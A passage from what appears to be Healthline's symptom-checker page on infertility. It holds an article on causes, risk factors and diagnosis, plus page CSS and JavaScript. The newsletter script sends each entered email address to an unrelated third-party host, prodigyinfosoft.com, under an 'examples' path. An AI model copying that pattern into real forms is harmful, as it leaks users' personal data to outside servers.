.hl-toptocpopup-block .hl-signup-block{width:100%;float:left;position:relative;padding-top:0}
.hl-toptocpopup-block .hl-email-block{padding-left:0;width:auto;padding-right:0}
.overlay-close .overlay-close{display:none}
.hl-toptocpopup-block .hl-email-toptoc-field{margin-top:0;width:auto}
.hl-toptocpopup-block input.hl-email{width:262px;height:37px;text-align:center;color:#99a4ac;font-size:14px;font-weight:400;background:none repeat scroll 0 0 #e3e3e3;border:1px solid #C9C9C9;border-radius:0}
.hl-toptocpopup-block button.hl-nw-emailsubmit:hover{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;background-color:#0396ae;background-image:none;border:1px solid #0396ae;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:0;behavior:url(/resources/base/css/PIE.htc);position:relative;display:inline-block;color:#fff;font-weight:400;padding:6px 34px;text-decoration:none}
.hl-toptocpopup-block button.hl-nw-emailsubmit{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;background-color:#00ABC7;background-image:none;border:1px solid #00ABC7;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:0;behavior:url(/resources/base/css/PIE.htc);position:relative;display:inline-block;color:#fff;font-weight:400;padding:6px 34px;text-decoration:none;height:40px;font-size:14px}
.hl #overlayToptocPopup .overlay-close.hl-icon-X.hl-icon-close {float: right;font-size: 2em;color: #555;cursor: pointer;padding: 20px 0px 0 0;}
.hl #overlayToptocPopup .overlay-close-container { height: 0px; padding-bottom: 0px;}

.hl #overlayToptocPopup .overlay-close.hl-icon-X.hl-icon-close{font-weight:400;margin-right:0px;}


@media only screen and (max-width:1024px){

}

@media only screen and (max-width:768px) {
.hl-toptocpopup-block .hl-nw-form-block{width:590px;float:left;position:relative;padding-top:0}
.hl-toptocpopup-block .hl-nw-form-block h1{font-size:26px;line-height:28px;padding-bottom:0}
.hl-toptocpopup-block .hl-nw-form-block h1 b{font-size:16px;line-height:18px;display:inline-block}
#hl-response-block .hl-res-text { font-size: 26px;  line-height: 28px;}
#hl-response-block .hl-res-text b { font-size: 16px;  line-height: 18px;}
}

@media only screen and (max-width:767px) {
.hl-toptocpopup-block #hl-response-block { padding-top: 42px;}
.hl-toptocpopup-block #hl-response-block { margin: 0px 0 0;}


}

@media only screen and (max-width:736px) {
.hl .hl-toptocpopup-block .hl-nw-form-block{padding:0px 10px 0;width:100%}
.hl-toptocpopup-block #hl-response-block{padding-top:72px}
.hl a.hl-bottom-text{bottom:10px;right:10px}
.hl #overlayToptocPopup{position:fixed;z-index:10000000;max-width:94vw;max-height:72vh}
#hl-response-block .hl-res-text{padding:60px 0 0 10px}
#hl-response-block .hl-res-text b{padding-right:15px}
}

@media only screen and (max-width:600px) {
.hl #overlayToptocPopup { max-height: 90vh;}
.hl-toptocpopup-block #hl-response-block { padding-top: 42px;}
.hl-toptocpopup-block #hl-response-block { margin: 0px 0 0;}
#hl-response-block .hl-res-text{padding:50px 0 0 10px}
.hl-toptocpopup-block input.hl-email{box-sizing:border-box}
.hl .hl-bottom-text{margin-bottom:0;color:#007da4;font-size:14px;font-family:Open Sans,sans-serif;font-weight:400;float:right;width:auto;display:none;margin-right:0;position:absolute;bottom:20px;right:20px;margin-top:0}
#hl-response-block .hl-res-text b{font-size:16px;line-height:18px}
#hl-response-block .hl-res-text{font-size:26px;line-height:28px}
.hl-toptocpopup-block .hl-email-block{width:100%}
.hl-toptocpopup-block .hl-nw-form-block h1{margin-bottom:24px; margin-top: 0;}
.hl-toptocpopup-block{width:100%;margin:auto;position:relative}
.hl-toptocpopup-block .hl-email-toptoc-field{width:100%;height:auto;margin-bottom:10px}
.hl-toptocpopup-block .hl-nw-form-block{width:100%;float:left;position:relative;padding-top:0;padding-left:0}
.hl-toptocpopup-block #hl-response-block{display:none;margin:0;font-size:24px;font-family:Arial-Bold;color:#bd81b4;font-weight:700;line-height:24px;width:90%}
.hl-toptocpopup-block input.hl-email{width:100%;padding:0;}
.hl-toptocpopup-block button.hl-nw-emailsubmit{width:100%}
.hl-toptocpopup-block .hl-signup-button{margin-left:0;width:100%}
}

@media only screen and (max-width:480px) {
.hl .hl-toptocpopup-block .hl-nw-form-block{padding:0px 10px 0}
.hl .toptocpopup-block{width:auto;float:left;margin:28px 30px 67px}
.hl-toptocpopup-block{width:100%;margin:auto}
.hl-toptocpopup-block #hl-response-block{ width:100%}
}
@media only screen and (max-width:439px) {
.hl .hl-toptocpopup-block .hl-nw-form-block{padding:0px 0px 0}
}

@media only screen and (max-width:375px){

.hl-toptocpopup-block .hl-nw-form-block h1 { margin-bottom: 24px;}

}
@media only screen and (max-width:320px) {
.hl-toptocpopup-block button.hl-nw-emailsubmit{height:37px}
}

</style>
<div class="hl-toptocpopup-block">

<a href="#overlayToptocPopup" class="hl-link-toptoc-popup" id="hl-toptocPopupLink" rel="#overlayToptocPopup"></a>
<div id="overlayToptocPopup">
 
  
  <div class="overlay-close-container"><div class="overlay-close hl-icon-X hl-icon-close"></div></div>
 
	<div class="hl-nw-form-block">
 	<h1>Looking to lead a stronger, healthier life?<br><b>Sign up for our <em>Wellness Wire</em> newsletter for all sorts of nutrition, fitness, and wellness wisdom.</b></h1>
    
	<!-- form action -->
	<form id="hl-toptocNewsletterForm" action="//link.healthline.com/s/Master" method="post">
 	<div class="hl-signup-block">
   	<div class="hl-email-block">

     	<div class="hl-toptoc-signup-error">Please enter a valid email.</div>
     	<div class="hl-email-toptoc-field">
       	<input type="hidden" id="hl-nw-toptocpopup-k1" name="k1" value="<!--k1rawval-->"/>
        <input type="hidden" name="vars[generalhealth]" value="1" />
     	<input type="hidden" name="vars[source]" value="header_overlay" />

       	<!-- email field -->
       	<input type="text" id="hl-nw-toptocpopup-email" name="email" class="hl-email" value="Enter Your Email Address">
     	</div>
     	<!-- submit button -->
     	<div class="hl-signup-button"><button type="submit" name="emailsubmit" class="hl-nw-emailsubmit" id="hl-toptocFormSubmission">Subscribe</button></div>
     	</div>
   	</div>
 	</form>
 	<p class="hl-email-privacy" style="clear:both; padding-top:15px"><span class="hl-icon-lock"></span>  Your <a href="/health/privacy-policy" target="_blank">privacy</a> is important to us. Any information you provide to us via this website may be placed by us on servers located in countries outside of the EU. If you do not agree to such placement, do not provide the information.</p>
	</div>
	<div id="hl-response-block">
 	<p class="hl-res-text">Now we’re in this together.</br><b>Thanks for subscribing and having us along on your health and wellness journey.</b></p>
	<a href="/health/newsletter-signup?sourceURL=generalhealth" class="hl-bottom-text">See all Healthline's newsletters »</a>
	</div>
	</div>
 </div>
 


<!-- javascript -->

<script>
require( [ 'jquery', 'base/overlay'], function( $, AppOverlay ) {


	$(document).ready( function() {
	
	$("#overlayToptocPopup .overlay-close").html("<div class='overlay-close'>X</div>");

 	var idToptocPopupLink = $( '#hl-toptocPopupLink' );


 	var overlayPageURI = encodeURI( "${hl:javaScriptEscape(requestScope['healthline-original-uri'])}" );


	$(".hl #hl-nw-toptocpopup-email").focus(function() {
		$(".erro-sailthru").remove();
	});	
	
 	idToptocPopupLink.click( function() {
   	HL_ga_sendTrackEvent({ gaEventCategory : 'Any Page', gaEventAction : 'Global Header', gaEventLabel : 'Subscribe Overlay' });
 	});


	// reassign form submit button
 	$( '#hl-toptocNewsletterForm' ).submit( function( evt ){
   	evt.preventDefault();
 	});


   	$( '#hl-toptocFormSubmission' ).click(function( evt ){
   	evt.preventDefault();
	$( '.hl-toptocpopup-block input.hl-email' ).css( 'border', '1px solid #C9C9C9' );
   	var emailValue = $( '#hl-nw-toptocpopup-email' ).val();
   	if( isValidEmailAddress( emailValue ) ) {
	    var url = '//prodigyinfosoft.com/sailthru/sailthru-client/examples/checkemail.php?email='+$("#hl-nw-toptocpopup-email").val() +'&callback=?';	
	$.ajax({
        url: url,
        dataType: 'jsonp',
        error: function(xhr, status, error) {
            //alert(error);
        },
		success: function(response) {
        if(response=="[]"){
		
		     	var dataString = 'email=' + $( '#hl-nw-toptocpopup-email' ).val() + '&k1=' + $( '#hl-nw-toptocpopup-k1' ).val();


     	$.ajax({
       	url: '/v2/email-only-reg',
       	type: 'GET',
       	data: dataString,
       	dataType: 'json',
       	success: function(data) {

          $.ajax({
                       url: '//prodigyinfosoft.com/sailthru/sailthru-client/examples/headeroverlay.php?email=' + $("#hl-nw-toptocpopup-email").val(),
                       dataType: "jsonp",
                       success: function(response) {

                       },
                       error: function(response) {

                       }
                   });
       	},
       	error: function(e) {


       	}
     	});

        localStorage.nwletter_email =  $("#hl-nw-toptocpopup-email").val();
     	$( '.hl-nw-form-block' ).hide();
     	$( '#hl-response-block' ).show();
     	// GA track submit button click
     	HL_ga_sendTrackEvent({ gaEventCategory : 'Any Page', gaEventAction : 'Global Header', gaEventLabel: 'Subscribe Overlay' });
        $('.hl .hl-bottom-text').css("display","block");
		
		}else{
		$("#hl-nw-toptocpopup-email").addClass("error");
$(".erro-sailthru").remove();
		$( '<div class="erro-sailthru" style="font-size:13px;color:red;text-align:left;padding:0px 5px">Invalid email address</div>' ).insertAfter( "#hl-nw-toptocpopup-email" );
		 err_1 = 1;
		 return false;
		}
	}

});
	
	

     	} else {
		$( '.hl-toptocpopup-block input.hl-email' ).css( 'border', '1px solid red' );
     	}
 	});


 	$( '.hl-email-toptoc-field' ).on( 'click', function( evt ){


   	$( '#hl-nw-toptocpopup-email' ).val('');




 	});
	
 	// showNewsletterOverlay( 1000 );

	}); // dom ready


	var isDesktopBreakpoint = function() {
  	//return matchMedia( 'only screen and ( min-width: 1100px )' ).matches;
	return matchMedia( 'only screen and ( min-width: 320px )' ).matches;
	};


	function HL_checkVariable() {
 	if( HL_ga_showNewsletterSignup == '' ){
   	alert( HL_ga_showNewsletterSignup );
 	}
	}


	// show overlay after x secs
	// popup visible only if there is no cookie (user's first visit)
	function showNewsletterOverlay( HL_time ) {


$( '#hl-toptocPopupLink' ).trigger( 'click' );

	}


	// fabulousness
	setInterval(function(){ $('blink').each( function(){ $(this).css('visibility' , $(this).css('visibility') === 'hidden' ? '' : 'hidden') } ); }, 250);


	// sets cookie upon user's first visit
	function setCookie( c_name, value, exdays ) {
 	var exdate = new Date();
 	exdate.setDate( exdate.getDate() + exdays );
 	var c_value = escape(value) + ((exdays==null) ? '' : '; expires='+exdate.toUTCString());
 	document.cookie = c_name + '=' + c_value;
	}


	// looks for cookie
	function getCookie( c_name ) {
 	var c_value = document.cookie;
 	var c_start = c_value.indexOf( ' ' + c_name + '=' );
 	if ( c_start == -1 ) {
   	c_start = c_value.indexOf( c_name + '=' );
 	}
 	if ( c_start == -1 ) {
   	c_value = null;
 	} else {
   	c_start = c_value.indexOf( '=', c_start ) + 1;
   	var c_end = c_value.indexOf( ';', c_start );
   	if ( c_end == -1 ) {
     	c_end = c_value.length;
   	}
   	c_value = unescape( c_value.substring( c_start,c_end ));
 	}
 	return c_value;
	}


	function isValidEmailAddress( emailAddress ) {
 	var pattern = new RegExp( '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,4}' );
 	return pattern.test( emailAddress );
	}


 }); // end of requirejs


</script>





<script type="text/javascript" >
var err_1 = 0;
var sailThruValidate=0;
var getUrlParameter = function getUrlParameter(sParam) {
    var sPageURL = decodeURIComponent(window.location.search.substring(1)),
        sURLVariables = sPageURL.split('&'),
        sParameterName, i;
    for (i = 0; i < sURLVariables.length; i++) {
        sParameterName = sURLVariables[i].split('=');
        if (sParameterName[0] === sParam) {
            return sParameterName[1] === undefined ? true : sParameterName[1];
        }
    }
};

var parseRequest = function parseRequest(response)
			{
				try // try to output this to the javascript console
				{
				if(response=="[]"){
                $(".hl #hl-nw-toptocpopup-email").removeClass("error");
				$("#hl-nw-toptocpopup-email").removeClass("errorsailthru");
                }else{
                $(".hl #hl-nw-toptocpopup-email").addClass("error");
				$("#hl-nw-toptocpopup-email").addClass("errorsailthru");
            sailThruValidate = 1;
			err_1 = 1;
                }				

				}
				catch(an_exception) // alert for the users that don't have a javascript console
				{}
			};

function searchExcel(sheetname) {
    var result = false;
    $.ajax({
        type: "GET",
        url: '/hlcmsresource/images/' + sheetname + '.csv',
        dataType: "text",
        success: function(data) {
            result = processData(data);
        }
    });
    return result;
}

function ValidateEmail(email) {
    var expr = /^([w-.]+)@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.)|(([w-]+.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(]?)$/;
    return expr.test(email);
};



</script></div>
      </div>
    </div>

  </div>
<script>
  require(['jquery'], function ($) {
    var $backdrop, $modal = $('div.search-modal'), searchConfig = false, $searchTitle = $('.hl-title-serp');

    function closeSearchOverlay() {
      $modal.hide();
      $backdrop.remove();
      $backdrop = null;
    }

    function resetMenuDropdowns() {
      $('.dropdown').hide();
      $('.hl-click-menu').removeClass('menuOpen');
      if( $('#headMenuMask').length ) {
        $('#headMenuMask').remove();
      }
    }

    $('li.hl-click-menu').children('a').click(function (event) {
      event.preventDefault();

      var parentMenu = $(this).parent('.hl-click-menu'),
        dropMenu = parentMenu.find('.dropdown');

      if( dropMenu.is(":visible") ) {
        resetMenuDropdowns();
        parentMenu.removeClass('menuOpen');
      } else {
        resetMenuDropdowns();
        dropMenu.show();
        parentMenu.addClass('menuOpen');
        $('body').append('<div id="headMenuMask" class="mask"></div>');
        $('#headMenuMask').click(function () {
          dropMenu.hide();
          $('#headMenuMask').remove();
          parentMenu.removeClass('menuOpen');
        });
      }
    });

    var stopPropagation = function (e) {
      e.stopPropagation();
    };
    $('div.form-group', $modal).click(stopPropagation).focus(stopPropagation);

    $(document).on('mouseup', ".gsc-completion-selected", function () {
      $searchTitle.text($('#gsc-i-id1').val());
      closeSearchOverlay();
    });

    $(document).on('keyup', 'td.gsc-input input', function (e) {
      var keycode = (e.keyCode ? e.keyCode : e.which);
      if (keycode == 13) { // the enter key code
        $searchTitle.text($('#gsc-i-id1').val());
        closeSearchOverlay();
      }
    });

    if ('ontouchstart' in document.documentElement) {
      $('#subnav-link, #mainnav-link').attr('href', 'javascript:void(0)')
    }

    $('.hl-click-menu', $('#topic_center')).click(function () {
      dataLayer.push({
        'event': 'hlCustomEvent',
        'hlCustomEventCategory': 'Any Page',
        'hlCustomEventAction': 'Global Header',
        'hlCustomEventLabel': 'Click:' + ($(this).hasClass('topics') ? 'Topics - Tools Menu' : 'Condition Menu'),
        'hlCustomEventInteraction': false
      });
    }, function () {
    });

    $(".newsletterLink div").click(function() {
      dataLayer.push({
        'event': 'hlCustomEvent',
        'hlCustomEventCategory': 'Any Page',
        'hlCustomEventAction': 'Global Header',
        'hlCustomEventLabel': 'Newsletter Button',
        'hlCustomEventInteraction': false
      });
    });

    window.hl_fireSearchEvent = function () {
      dataLayer.push({
        'event': 'hlCustomEvent',
        'hlCustomEventCategory': 'Any Page',
        'hlCustomEventAction': 'Global Header',
        'hlCustomEventLabel': 'Search Submit',
        'hlCustomEventInteraction': false
      });
    }
    $('.search-box form.gsc-search-box').submit(function () {

//      HL_GA_dataLayer({
//        'event': 'hlCustomEvent',
//        'hlCustomEventCategory': 'Click:Navigation',
//        'hlCustomEventAction': 'Global Header Input - Field Search Enter',
//        'hlNonInteraction': false
//      });
    });
  });
</script>


<!--
Healthline Ad Leaderboard:

    hideLbFlag empty
  
-->

<div class="ad-lb ad-lb-collapse">
          <div class="ads-margin ads-box-header">
            <div class="overlay-close-container">
                <span><img src="/resources/healthline/images/close-btn.v1.20180302195119.png" class="close-btn"></span>
              </div>
            
            Advertisement
          </div>
          <div class="hl-gpt-lb-wrapper">
            <div id="gpt-ad-lb" class="hl-ad-lb" adonis-marker> </div>
          </div>
          <div class="ads-margin ads-box-footer">&nbsp;</div>
        </div>
      <!-- adModel.enableAds eq "true" -->
<!-- not empty adModel.dfpAds["Leaderboard"] -->
<div class="pagefair-ad">
  <div id="623549fd83" class="pagefair-acceptable"></div>
</div>
</div><div class="hl">

  <div class="persist-area ">
    <div class="persist-header">

      <div class="box-outer-sticky">

        <div class="box-sticky layerie7">
          <div class="box-inner-sticky layerie7">

            <!--  isStickyNav equals  true -->

            </div><!-- box-inner-sticky -->

          <div class="box-left-border-persist"><!-- left sticky box border --></div>
          <div class="box-right-border-persist"><!-- right sticky box border --></div>

        </div><!-- box-sticky -->

      </div>

    </div>
  </div>

</div><!-- TC header --><div class="hl">

  <div class="hl-overlay-mask hl-direct-mask">
  <div class="hl-overlay-container">
    <div class="hl-overlay-mask-spinner hl-icon-spinner spinner--steps" aria-hidden="true"></div>
    <div class="hl-overlay-adding-symptom"></div>
  </div>
</div>
<div class="hl-dropdown-other-symptoms-container">
  <div class="hl-dropdown-other-symptoms c">
    <div class="hl-icon-X" id="symptom-search-dropdown-X"></div>
    <div class="hl-box-symptom-logo">
      <div class="hl-box-symptom-icon"></div>
      <div class="navigation-title">
        Symptom <span class="hl-title-checker">Checker</span>
      </div>
    </div>
    <div class="hl-box-symptom-title">
      
          Let's see if we can figure out what's causing your infertility.
        </div>
    <div class="hl-box-symptom-subtitle">
      Select additional symptoms and we'll narrow your results.
    </div>
    <div class="hl-box-symptom-options">
      <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Pain" name="symptom" value="/symptomsearch?addterm=Pain&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Pain">Pain</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Menstrual Irregularity" name="symptom" value="/symptomsearch?addterm=Menstrual Irregularity&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Menstrual Irregularity">Menstrual Irregularity</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Pain With Intercourse" name="symptom" value="/symptomsearch?addterm=Pain With Intercourse&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Pain With Intercourse">Pain With Intercourse</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Pelvic Pain" name="symptom" value="/symptomsearch?addterm=Pelvic Pain&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Pelvic Pain">Pelvic Pain</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Abdominal Pain" name="symptom" value="/symptomsearch?addterm=Abdominal Pain&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Abdominal Pain">Abdominal Pain</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="No Menstrual Period" name="symptom" value="/symptomsearch?addterm=No Menstrual Period&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="No Menstrual Period">No Menstrual Period</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Menstrual Spotting" name="symptom" value="/symptomsearch?addterm=Menstrual Spotting&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Menstrual Spotting">Menstrual Spotting</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Fever" name="symptom" value="/symptomsearch?addterm=Fever&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Fever">Fever</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Feels Hot to Touch" name="symptom" value="/symptomsearch?addterm=Feels Hot to Touch&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Feels Hot to Touch">Feels Hot to Touch</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Abdominal Swelling" name="symptom" value="/symptomsearch?addterm=Abdominal Swelling&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Abdominal Swelling">Abdominal Swelling</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Heavy Menstrual Period" name="symptom" value="/symptomsearch?addterm=Heavy Menstrual Period&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Heavy Menstrual Period">Heavy Menstrual Period</label>
          </p>
        <p class="hl-list-symptoms-p">
            <input type="radio" class="hl-list-symptoms-radio" id="Fertility Problem" name="symptom" value="/symptomsearch?addterm=Fertility Problem&amp;addterm=Infertility" />
            <label class="hl-list-symptoms-label" for="Fertility Problem">Fertility Problem</label>
          </p>
        </div>
    </div>
  <div class="hl-dropdown-arrow-container">
    <div class="hl-icon-read-more arrow-up"></div>
  </div>
</div>


<div class="bodycontainer bclayerie7">
    <div class="innerbodybox">

      <div class="bodyheading">
        <h2 class="navigation-title">Symptom<span class="hl-title-checker">Checker</span></h2>
        <div class="breadcrumb">
                <ul>
                  <li itemscope itemtype="http://data-vocabulary.org/Breadcrumb">
  <a href="/" itemprop="url"><span itemprop="title">Healthline</span></a>  <span class="icon-sep">&rarr;</span>
</li><li itemtype="http://data-vocabulary.org/Breadcrumb" itemscope="">
                    <a href="/symptom-checker" itemprop="url">
                        <span itemprop="title">Symptom Checker</span>
                    </a>
                    <span class="icon-sep">&rarr;</span>
                  </li>
                  <li itemtype="http://data-vocabulary.org/Breadcrumb" itemscope="">
                    <span itemprop="title">Infertility</span>
                  </li>
                </ul>
              </div>
            <h1 class="page-title">What causes <strong>infertility</strong>? 12 possible conditions</h1>
              </div>

      <div class="container c">

          <div class="grid648">
            <div class="row12">
              <div class="span12">
            <div class="hl-box-byline-share c">
              <div class="byline attribution">
                Medically Reviewed by <a href="/health/medical-board">George Krucik, MD, MBA</a>
              </div>
              <div id="sharebar-global" class="hl-sharebar-global hl-sharebar-clinical sharebar-top spaceLimit">
  <ul>
<li class="hl-share-button-envelope ">
      <a href="#overlayShareBarEmail" rel="#overlayShareBarEmail" data-action="email" class="hl-share-lnk-email-top"><span class="hl-icon-share-envelope"></span> <em>Email</em></a>
    </li>
    <li class="hl-share-button-print ">
      <a data-action="print" class="hl-share-lnk-print-top"><span class="hl-icon-share-print"></span> <em>Print</em></a>
    </li>
    <li class="hl-share-button ">
      <a><span class="hl-icon-share"></span> <em>SHARE</em></a>
      <div id="sharebar-global-tooltip" class="tooltip  sharebar-top totalIconsFour">
        <div id="sharebar-global" class="hl-sharebar-global">
          <ul>
            <li class="hl-share-button-facebook">
              <a data-action="facebook" class="hl-share-lnk-facebook-top"><span class="hl-icon-share-facebook"></span></a>
            </li>
            <li class="hl-share-button-twitter">
              <a data-action="twitter" class="hl-share-lnk-twitter-top"><span class="hl-icon-share-twitter"></span></a>
            </li>
            <li class="hl-share-button-envelope">
                <a href="#overlayShareBarEmail" rel="#overlayShareBarEmail" data-action="email" class="hl-share-lnk-email-top"><span class="hl-icon-share-envelope"></span></a>
              </li>
              <li class="hl-share-button-print">
                <a data-action="print" class="hl-share-lnk-print-top"><span class="hl-icon-share-print"></span></a>
              </li>
          </ul>
        </div>
      </div>
    </li>
  </ul>
</div>

<div id="overlayShareBarEmail" class="hl-overlay" style="visibility: hidden">
      <div class="overlay-close-container" style="overflow: hidden;">
        <div class="overlay-close hl-icon-X hl-icon-close"></div>
      </div>
      <div id="sb-share-email" class="hl">
        <div class="sb-box-header">Email this page</div>
        <div class="sb-share-body">
          <form id="sb-share-email_form">
            <div id="sb-box-message"></div>
            <fieldset>
            <input type="hidden" name="pageLink" id="page_url" value="page link">
            <input type="hidden" name="pageTitle" id="page_title" value="page title">
            <div class="sb-form-field">
              <label for="senderName">Your Name:</label>
              <input id="senderName" type="text" name="senderName" value="Enter your name" class="hl-input-text sb-email-name" maxlength="25">
            </div>
            <div class="sb-form-field">
              <label for="senderEmail">Your Email:</label>
              <input id="senderEmail" type="text" name="senderEmail" value="Enter your email address" class="hl-input-text sb-email-addr">
            </div>
            <div class="sb-form-field">
              <label for="receiverEmail">Recipient's Email:</label>
              <input id="receiverEmail" type="text" name="receiverEmail" value="Enter recipient's email address" class="hl-input-text sb-email-rec-addr">
            </div>
            <div class="sb-form-field sb-form-buttons">
              <input id="sb-share-email-cancel" class="overlay-close sb-button tertiary-button" type="button" name="cancel" value="Cancel" />
              <button id="sb-share-email-submit" type="submit" name="emailsubmit" class="send-email primary-button"> Send
                <div class="spinner spinner--steps hl-icon-spinner" aria-hidden="true"></div>
              </button>
            </div>
            <div><i class="sb-icon-lock"></i>Email addresses will not be shared with 3rd parties. See <a href="https://www.healthline.com/health/privacy-policy" target="_blank">privacy policy</a></div>
            </fieldset>
          </form>
          <form id="sb-confirm" style="display: none;">
            <div class="sb-box-header"><span class="icon-green-checkmark"></span> Thank you.</div>
            <div class="sb-box-confirm-text"><span>Your message has been sent.</span></div>
            <div class="overlay-close sb-ok-button sb-button sb-button-grey sb-button-medium">OK</div>
          </form>
          <div id="sb-share-email-error" style="display: none;">
            <h5><span class="sb-highlight">We're sorry, an error occurred.</span> <span id="sb-share-email-error-text">We are unable to collect your feedback at this time. However, your feedback is important to us. Please try again later.</span></h5>
          </div>
        </div>
      </div>
      <div class="sb-email-footer">
        <div class="sb-email-overlay-close">Close</div>
      </div>
    </div>

    </div>


            <div class="hl-box-symptom-article-container">
    <div class="hl-box-symptom-article">
      <div class="article-summary-readMore" >
        <p>
            Infertility occurs when you’re not able to become pregnant after a year of trying or after six months if you’re 35 or older, according to the Mayo Clinic. Infertility can occur in males and females.&nbsp;<a class="toggle-read-inline">Read more</a>
        </p>
      </div>
      <div class="article-fullBody-readMore" style="display: none">
          <p class="Body">Infertility occurs when you’re not able to become pregnant after
a year of trying or after six months if you’re 35 or older, according to the <a href="http://www.mayoclinic.org/diseases-conditions/infertility/basics/symptoms/con-20034770" target="_blank">Mayo
Clinic</a>. Infertility can occur in males and females. </p>

<p class="Body">The <a href="http://www.cdc.gov/reproductivehealth/Infertility/" target="_blank">Centers
for Disease Control and Prevention (CDC)</a> reports that 12 percent of women
in the United States between the ages of 15 and 44 have problems becoming or
staying pregnant due to male or female infertility.</p>

<h2> What Are the Symptoms of Infertility?</h2>

<p class="Body">The main indication of infertility is not being able to become
pregnant after unprotected intercourse after a year of trying or after six
months if you’re 35 or older.</p>

<p class="Body">Women may also experience irregular or absent menstrual periods,
painful periods, or multiple miscarriages.</p>

<p class="Body">Men may also have a history of testicular, prostate, or sexual
problems.</p>




<h2> What Causes Infertility?</h2>

<p class="Body">Certain steps in the reproductive process must occur to become
pregnant: </p>

<ol><li>A woman’s ovary must release an egg. This
process is known as ovulation. </li><li>The egg must then travel through the fallopian
tube toward the uterus, or the womb. A man’s sperm must be in the woman’s body
during this specific time. It must also meet and join with the egg as it
travels through the fallopian tubes. This process is known as fertilization. </li><li>The fertilized egg must then reach the uterus. </li><li>At the uterus, the fertilized egg must push its
way inside and implant itself. This is called implantation.</li></ol>







<p class="Body">Infertility can occur if there’s a problem with any of these
steps.</p>

<h3>Infertility in Women</h3>

<p class="Body">Female infertility is most often the result of problems with
ovulation. Irregular or absent periods can indicate an issue with ovulation.
These problems may occur with hormonal disorders, such as polycystic ovarian
syndrome (PCOS) or primary ovarian insufficiency (POI). POI occurs when a
woman’s ovaries stop working before age 40.</p>

<p class="Body">Other causes of infertility in women include:</p>

<ul><li>uterine fibroids, which are benign growths that
can keep fertilized eggs from implanting properly in the uterine lining</li><li>scar tissue in the pelvis from past surgeries </li><li>scar tissue inside the uterus from
instrumentation</li><li>early menopause</li><li>blocked or scarred fallopian tubes due to
infection or endometriosis</li></ul>









<h4>Endometriosis</h4>

<p class="Body">Endometriosis is an often painful condition in which the uterine
tissue that should line the inside of your uterus begins to grow outside of the
uterus. The tissue becomes trapped because it has no place to go. Uterine
tissue inside the uterus sheds each month during the menstrual cycle, but the
trapped tissue can’t shed. The surrounding body tissues become inflamed, and
scar tissue may form inside the fallopian tubes. This can lead to infertility
in women.</p>

<h3>Infertility in Men</h3>

<p class="Body">Problems with sperm production and delivery, a low sperm count,
and low motility, or ability of sperm to swim and fertilize the egg, can all
affect male fertility.</p>

<p class="Body">A varicocele is a disorder in which the veins draining a man’s
testicles have incompetent or leaky valves. The backflow of blood can enlarge
the blood vessels and can raise the temperature of the testicles. This causes a
low sperm count or abnormal sperm. Testicles are normally slightly below the
core body temperature.</p>




<h2> Who Is at Risk for Infertility?</h2>

<p class="Body">Certain risk factors can make it more difficult for men and women
to conceive.</p>

<h3>Age</h3>

<p class="Body">Women older than 30 and men older than 40 years old are at an
increased risk of infertility. According to the <a href="http://www.cdc.gov/reproductivehealth/Infertility/" target="_blank">Centers for Disease
Control and Prevention</a>, about 20 percent of women in the United States are
now waiting until their 30s or 40s to have children.</p>

<h3>Lifestyle Factors</h3>

<p class="Body">The following lifestyle factors can impair healthy egg and sperm
production:</p>

<ul><li>smoking</li><li>heavy alcohol use</li><li>drug use</li><li>being overweight</li><li>being underweight</li><li>exercising excessively</li><li>stress</li></ul>













<p class="Body">In men, exposure to environmental toxins, such as pesticides, and
exposure to high temperatures, such as in hot tubs, have also been shown to
affect sperm count.</p>




<h2> How Is Infertility Diagnosed?</h2>


<p class="Body">Your doctor will usually start with a physical examination. They’ll
want to discuss your medical and sexual history. If no cause is immediately
evident, additional tests may also be necessary.</p>

<h3>Men</h3>

<p class="Body">In men, your doctor may ask for a semen analysis. This will look
for problems with sperm, including low sperm count or motility issues.</p>

<p class="Body">A blood test to examine hormone levels and an ultrasound to look
for certain conditions, such as retrograde ejaculation or ejaculatory duct
obstruction, may also be necessary. In retrograde ejaculation, semen, which is the
white fluid that contains sperm, enters the bladder instead of exiting through
the penis. Sometimes, cysts may form on the ejaculatory ducts, which can block
semen from exiting the duct and traveling to the penis for ejaculation. This is
called ejaculatory duct obstruction.</p>

<h3>Women</h3>

<p class="Body">In women, the first concern is whether there are ovulation
problems. Your doctor may ask you to track your ovulation, or they may check
your ovulation with a blood test.</p>

<p class="Body">If ovulation is normal, your doctor may look for other problems
